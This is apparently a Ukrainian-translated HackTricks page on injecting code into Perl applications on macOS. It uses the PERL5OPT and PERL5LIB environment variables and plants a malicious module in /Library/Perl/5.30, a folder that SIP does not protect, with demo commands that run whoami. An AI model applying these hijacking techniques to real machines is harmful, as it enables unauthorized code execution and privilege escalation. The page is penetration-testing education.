macOS Perl Applications Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Через змінну середовища PERL5OPT та PERL5LIB

За допомогою змінної середовища PERL5OPT можна змусити perl виконувати довільні команди. Наприклад, створіть цей скрипт:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Зараз експортуйте змінну середовища та виконайте perl скрипт:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Ще один варіант - створити модуль Perl (наприклад, /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

А потім використовуйте змінні середовища:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Через залежності

Можливо вивести порядок папок залежностей Perl, які використовуються:

perl -e 'print join("\n", @INC)'

Який поверне щось на зразок:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Деякі з повернутих папок навіть не існують, однак /Library/Perl/5.30 існує, вона не захищена SIP і знаходиться перед папками, які захищені SIP. Тому хтось може зловживати цією папкою, щоб додати в неї залежності від скриптів, щоб високопривілейний Perl-скрипт завантажував їх.

Проте, слід зауважити, що вам потрібно бути root, щоб писати в цю папку, і в наш час ви отримаєте цей запит TCC:

Наприклад, якщо скрипт імпортує use File::Basename;, можна створити /Library/Perl/5.30/File/Basename.pm, щоб виконати довільний код.

References

Last updated